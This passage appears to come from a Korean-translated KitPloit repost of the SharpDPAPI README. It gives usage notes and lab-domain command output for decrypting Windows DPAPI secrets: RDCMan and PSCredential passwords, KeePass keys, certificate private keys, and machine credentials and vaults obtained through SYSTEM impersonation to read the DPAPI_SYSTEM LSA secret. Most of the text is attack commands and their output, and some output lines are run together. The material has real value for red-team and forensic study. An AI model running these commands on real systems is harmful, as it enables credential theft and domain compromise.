 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

도메인 DPAPI 백업 키를 사용하여 발견 가능한 마스터키를 먼저 복호화:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

keepass 명령은 현재 사용자(또는 상승된 경우 모든 사용자)의 KeePass ProtectedUserKey.bin 파일을 검색하고, a) 전달된 "{GUID}:SHA1" 마스터키로 복호화하거나, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 있는 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나(masterkeys와 유사), d) /password:X를 사용하여 사용자 마스터키를 복호화한 다음 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

/unprotect 플래그는 CryptUnprotectData()를 사용하여 키 바이트를 복호화합니다. 단, 명령이 암호를 저장한 사용자 컨텍스트에서 실행되어야 합니다. 이는 권한이 없는 컨텍스트에서 수행할 수 있으며, LSASS를 건드릴 필요가 없습니다. 이 접근 방식이 credentials/vaults에 사용되지 않는 이유는 Benjamin의 여기 문서를 참조하세요.

특정 ProtectedUserKey.bin 파일, .RDC 파일(또는 .RDG 파일 폴더)은 /target:FILE 또는 /target:C:\Folder\로 지정할 수 있습니다. 파일이 지정된 경우 {GUID}:SHA1 값(또는 /unprotect)이 필요하며, 폴더가 지정된 경우 a) {GUID}:SHA1 값을 제공하거나 b) 폴더에 DPAPI 마스터키가 포함되고 /pvk 도메인 백업 키가 제공되어야 합니다.

복호화된 키 파일 바이트는 KeeThief의 수정된 KeePass 버전에서 사용할 수 있습니다.

/unprotect를 사용하여 발견된 키 자료 복호화:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

certificates 명령은 사용자 암호화된 DPAPI 인증서 개인 키를 검색하고, a) 전달된 "{GUID}:SHA1" 마스터키로 복호화하거나, b) 하나 이상의 {GUID}:SHA1 마스터키 매핑이 있는 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 먼저 사용자 마스터키를 복호화하거나(masterkeys와 유사), d) /password:X를 사용하여 사용자 마스터키를 복호화한 다음 조회 복호화 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

/unprotect 플래그는 CryptUnprotectData()를 사용하여 개인 키를 복호화합니다. 단, 명령이 액세스하려는 인증서의 사용자 컨텍스트에서 실행되어야 합니다. 이는 권한이 없는 컨텍스트에서 수행할 수 있으며, LSASS를 건드릴 필요가 없습니다. 이 접근 방식이 credentials/vaults에 사용되지 않는 이유는 Benjamin의 여기 문서를 참조하세요.

특정 인증서는 /target:FILE 또는 /target:C:\Folder\로 지정할 수 있습니다. 두 경우 모두 {GUID}:SHA1 값(또는 /unprotect)이 필요하거나 b) 폴더에 DPAPI 마스터키가 포함되고 /pvk 도메인 백업 키가 제공되어야 합니다.

기본적으로 연결된 설치된 인증서와 연결 가능한 개인 키만 표시됩니다. /showall 명령은 모든 복호화된 개인 키를 표시합니다.

CNG 개인 키(기본값은 capi)에는 /cng 플래그를 사용하세요.

도메인 {GUID}:SHA1 마스터키 매핑 사용:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da지문       : 98A03BC583861DCC19045758C0E0C05162091B6C
    발행자      : CN=theshire-DC-CA, DC=theshire, DC=local
    주체        : CN=harmj0y
    유효 날짜   : 2/22/2021 2:19:02 PM
    만료 날짜   : 2/22/2022 2:19:02 PM
    향상된 키 사용법:
        클라이언트 인증 (1.3.6.1.5.5.7.3.2)
         [!] 인증서가 클라이언트 인증에 사용됩니다!
        보안 이메일 (1.3.6.1.5.5.7.3.4)
        파일 시스템 암호화 (1.3.6.1.4.1.311.10.3.4)

    [*] 개인 키 파일 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0이(가) 복구되었습니다:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

/unprotect를 사용하여 발견된 모든 사용자 인증서를 해독:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] 동작: 인증서 분류

[*] 해독을 위해 CryptUnprotectData()를 사용합니다.


폴더       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  파일               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    공급자 GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    마스터 키 GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    설명      : 개인 키
    algCrypt         : CALG_AES_256 (키 길이 256)
    algHash          : CALG_SHA_512 (32782)
    솔트             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    고유 이름      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    지문       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    발행자      : CN=theshire-DC-CA, DC=theshire, DC=local
    주체        : CN=harmj0y
    유효 날짜   : 10/18/2022 11:40:07 AM
    만료 날짜   : 10/18/2023 12:00:07 PM
    향상된 키 사용법:
        클라이언트 인증 (1.3.6.1.5.5.7.3.2)
         [!] 인증서가 클라이언트 인증에 사용됩니다!
        서버 인증 (1.3.6.1.5.5.7.3.1)

    [*] 개인 키 파일 f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b이(가) 복구되었습니다:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

도메인 DPAPI 백업 키를 사용하여 발견 가능한 마스터 키를 먼저 해독:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] 동작: 인증서 분류
[*] 도메인 DPAPI 백업 키를 사용하여 마스터 키를 분류하여 해독 키 매핑을 찾습니다!


[*] 사용자 마스터 키 캐시:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



폴더       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  파일               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    공급자 GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    마스터 키 GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    설명      : CryptoAPI 개인 키
    algCrypt         : CALG_3DES (키 길이 192)
    algHash          : CALG_SHA (32772)
    솔트             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    고유 이름      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    지문       : 98A03BC583861DCC19045758C0E0C05162091B6C
    발행자      : CN=theshire-DC-CA, DC=theshire, DC=local
    주체        : CN=harmj0y
    유효 날짜   : 2/22/2021 2:19:02 PM
    만료 날짜   : 2/22/2022 2:19:02 PM
    향상된 키 사용법:
        클라이언트 인증 (1.3.6.1.5.5.7.3.2)
         [!] 인증서가 클라이언트 인증에 사용됩니다!
        보안 이메일 (1.3.6.1.5.5.7.3.4)
        파일 시스템 암호화 (1.3.6.1.4.1.311.10.3.4)

    [*] 개인 키 파일 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0이(가) 복구되었습니다:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

triage 명령은 사용자 credentials, vaults, rdg, certificates 명령을 실행합니다.

Machine Triage

machinemasterkeys

machinemasterkeys 명령은 SYSTEM 권한으로 승격하여 DPAPI_SYSTEM LSA 시크릿을 검색한 후, 이 시크릿을 사용하여 발견된 모든 머신 DPAPI 마스터 키를 해독합니다. {GUID}:SHA1 마스터 키 매핑 집합을 반환합니다.

로컬 관리자 권한이 필요합니다 (DPAPI_SYSTEM LSA 시크릿을 검색하기 위해).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] 동작: 머신 DPAPI 마스터 키 파일 분류

[*] 토큰 복제를 통해 SYSTEM으로 승격하여 LSA 시크릿 검색
[*] RevertToSelf()

[*] 시크릿  : DPAPI_SYSTEM
[*]    전체: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM 마스터 키 캐시:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

machinecredentials 명령은 SYSTEM 권한으로 승격하여 DPAPI_SYSTEM LSA 시크릿을 검색한 후, 이 시크릿을 사용하여 발견된 모든 머신 DPAPI 마스터 키를 해독합니다. 이 키들은 발견된 모든 머신 자격 증명 파일을 해독하는 데 사용됩니다.

로컬 관리자 권한이 필요합니다 (DPAPI_SYSTEM LSA 시크릿을 검색하기 위해).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] 동작: 머신 DPAPI 자격 증명 분류

[*] 토큰 복제를 통해 SYSTEM으로 승격하여 LSA 시크릿 검색
[*] RevertToSelf()

[*] 시크릿  : DPAPI_SYSTEM
[*]    전체: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM 마스터 키 캐시:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] 시스템 자격 증명 분류 중


폴더       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  자격 증명 파일           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    크기             : 544
    플래그            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    설명      : 로컬 자격 증명 데이터

    마지막 기록 시간      : 3/24/2019 7:08:43 PM
    대상 이름       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    대상 별칭      :
    설명          :
    사용자 이름         : TESTLAB\harmj0y
    자격 증명       : Password123!


폴더       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  자격 증명 파일           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

machinevaults 명령은 SYSTEM 권한으로 승격하여 DPAPI_SYSTEM LSA 시크릿을 검색한 후, 이 시크릿을 사용하여 발견된 모든 머신 DPAPI 마스터 키를 해독합니다. 이 키들은 발견된 모든 머신 자격 증명 모음을 해독하는 데 사용됩니다.

로컬 관리자 권한이 필요합니다 (DPAPI_SYSTEM LSA 시크릿을 검색하기 위해).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] 동작: 머신 DPAPI 자격 증명 모음 분류

[*] 토큰 복제를 통해 SYSTEM으로 승격하여 LSA 시크릿 검색
[*] RevertToSelf()

[*] 시크릿  : DPAPI_SYSTEM
[*]    전체: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM 마스터 키 캐시:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] SYSTEM 자격 증명 모음 분류 중


[*] 자격 증명 모음 폴더 분류 중: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  자격 증명 모음 ID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  이름               : 웹 자격 증명
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    크기             : 324
    플래그            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    설명      :
    aes128 키       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 키       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

certificates /machine 명령은 머신 인증서 저장소를 사용하여 해독 가능한 머신 인증서 개인 키를 찾습니다. /mkfile:X 및 {GUID}:masterkey는 /target:\[file|folder\] 명령과 함께 사용할 수 있으며, 그렇지 않으면 SharpDPAPI가 SYSTEM으로 승격하여 DPAPI_SYSTEM LSA 시크릿을 검색한 후 발견된 모든 머신 DPAPI 마스터 키를 해독합니다. 이 키들은 발견된 모든 머신 시스템 암호화 DPAPI 개인 인증서 키를 해독하는 데 사용됩니다.

기본적으로 설치된 인증서와 연결 가능한 개인 키만 표시됩니다. /showall 명령은 모든 해독된 개인 키를 표시합니다.

로컬 관리자 권한이 필요합니다 (DPAPI_SYSTEM LSA 시크릿을 검색하기 위해).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] 동작: 인증서 분류
[*] 토큰 복제를 통해 SYSTEM으로 승격하여 LSA 시크릿 검색
[*] RevertToSelf()

[*] 시크릿  : DPAPI_SYSTEM
[*]    전체: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM 마스터 키 캐시:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] 시스템 인증서 분류 중


폴더       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  파일               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    공급자 GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    마스터 키 GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    설명      : CryptoAPI 개인 키
    algCrypt         : CALG_3DES (키 길이 192)
    algHash          : CALG_SHA (32772)
    솔트             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    고유 이름      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    지문       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    발행자      : CN=theshire-DC-CA, DC=theshire, DC=local
    주체        : CN=dev.theshire.local
    유효 날짜   : 2/22/2021 3:50:43 PM
    만료 날짜   : 2/22/2022 3:50:43 PM
    향상된 키 사용법:
        클라이언트 인증 (1.3.6.1.5.5.7.3.2)
         [!] 인증서가 클라이언트 인증에 사용됩니다!
        서버 인증 (1.3.6.1.5.5.7.3.1)

    [*] 개인 키 파일 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0이(가) 복구되었습니다:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

machinetriage 명령은 사용자 machinecredentials, machinevaults, certificates /machine 명령을 실행합니다.

Misc

ps

ps 명령은 내보낸 PSCredential clixml을 설명/해독합니다. /target:FILE.xml이 반드시 제공되어야 합니다.

이 명령은 a) 전달된 "{GUID}:SHA1" 마스터 키로 파일을 해독하거나, b) 하나 이상의 {GUID}:SHA1 마스터 키 매핑이 포함된 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 사용자 마스터 키를 먼저 해독하거나(masterkeys 방식), d) /password:X를 사용하여 사용자 마스터 키를 해독한 후, 이를 조회 해독 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

/unprotect 플래그는 마스터 키 없이 CryptUnprotectData()를 사용하여 자격 증명 .xml을 해독합니다. 단, 명령이 비밀번호를 저장한 사용자 컨텍스트에서 실행되는 경우에만 가능합니다. 이는 권한이 없는 컨텍스트에서도 LSASS에 접근할 필요 없이 수행할 수 있습니다. 이 접근 방식이 자격 증명/자격 증명 모음에 사용되지 않는 이유는 Benjamin의 설명서를 참조하세요.

CryptProtectData()를 사용하여 내보낸 자격 증명 .xml 해독 (/unprotect 플래그):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 동작: PSCredential .xml 설명

    자격 증명 파일         : C:\Temp\cred.xml
    접근 시간         : 7/25/2019 11:53:09 AM
    수정 시간         : 7/25/2019 11:53:09 AM
    사용자 이름        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    크기             : 170
    플래그            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    설명      :
    비밀번호         : Password123!

도메인 {GUID}:SHA1 마스터 키 매핑 사용:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 동작: PSCredential .xml 설명

[*] 도메인 DPAPI 백업 키를 사용하여 마스터 키를 분류하여 해독 키 매핑을 찾습니다!

[*] 사용자 마스터 키 캐시:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    자격 증명 파일         : C:\Temp\cred.xml
    접근 시간         : 7/25/2019 12:04:12 PM
    수정 시간         : 7/25/2019 12:04:12 PM
    사용자 이름        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    크기             : 170
    플래그            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    설명      :
    비밀번호         : Password123!

도메인 DPAPI 백업 키를 사용하여 발견 가능한 마스터 키를 먼저 해독:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 동작: PSCredential .xml 설명

[*] 도메인 DPAPI 백업 키를 사용하여 마스터 키를 분류하여 해독 키 매핑을 찾습니다!

[*] 사용자 마스터 키 캐시:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    자격 증명 파일         : C:\Temp\cred.xml
    접근 시간         : 7/25/2019 12:04:12 PM
    수정 시간         : 7/25/2019 12:04:12 PM
    사용자 이름        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    크기             : 170
    플래그            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    설명      :
    비밀번호         : Password123!

blob

blob 명령은 DPAPI blob을 설명/해독합니다. /target:<BASE64|blob.bin>이 반드시 제공되어야 합니다.

이 명령은 a) 전달된 "{GUID}:SHA1" 마스터 키로 blob을 해독하거나, b) 하나 이상의 {GUID}:SHA1 마스터 키 매핑이 포함된 /mkfile:FILE을 사용하거나, c) 제공된 DPAPI 도메인 백업 키(/pvk:BASE64... 또는 /pvk:key.pvk)를 사용하여 사용자 마스터 키를 먼저 해독하거나(masterkeys 방식), d) /password:X를 사용하여 사용자 마스터 키를 해독한 후, 이를 조회 해독 테이블로 사용합니다. DPAPI GUID 매핑은 Mimikatz의 sekurlsa::dpapi 명령으로 복구할 수 있습니다.

/unprotect 플래그는 마스터 키 없이 CryptUnprotectData()를 사용하여 blob을 해독합니다. 단, 명령이 비밀번호를 저장한 사용자 컨텍스트에서 실행되는 경우에만 가능합니다. 이는 권한이 없는 컨텍스트에서도 LSASS에 접근할 필요 없이 수행할 수 있습니다. 이 접근 방식이 자격 증명/자격 증명 모음에 사용되지 않는 이유는 Benjamin의 설명서를 참조하세요.

CryptProtectData()를 사용하여 blob 해독 (/unprotect 플래그):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 동작: DPAPI blob 설명

[*] 해독을 위해 CryptUnprotectData()를 사용합니다.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    크기             : 170
    플래그            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    설명      :
    해독(blob)        : Password123!

도메인 {GUID}:SHA1 마스터 키 매핑 사용:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___  
 (_  |_   _. ._ ._  | \ |_) /\  |_) |  
 __) | | (_| |  |_) |_/ |  /--\ |  _|_  
                |  
  v1.5.0  


[*] 동작: DPAPI blob 설명  

[*] 복호화를 위해 CryptUnprotectData() 사용 중.  

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}  
    size             : 314  
    flags            : 0x0  
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)  
    description      :  
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...  

도메인 DPAPI 백업 키를 사용하여 먼저 발견 가능한 모든 마스터 키를 복호화합니다:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...  

  __                 _   _       _ ___  
 (_  |_   _. ._ ._  | \ |_) /\  |_) |  
 __) | | (_| |  |_) |_/ |  /--\ |  _|_  
                |  
  v1.5.0  


[*] 동작: DPAPI blob 설명  

[*] 도메인 DPAPI 백업 키를 사용하여 마스터 키 정렬을 통해 복호화 키 매핑을 찾는 중!  

[*] 사용자 마스터 키 캐시:  

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3  

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}  
    size             : 314  
    flags            : 0x0  
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)  
    description      :  
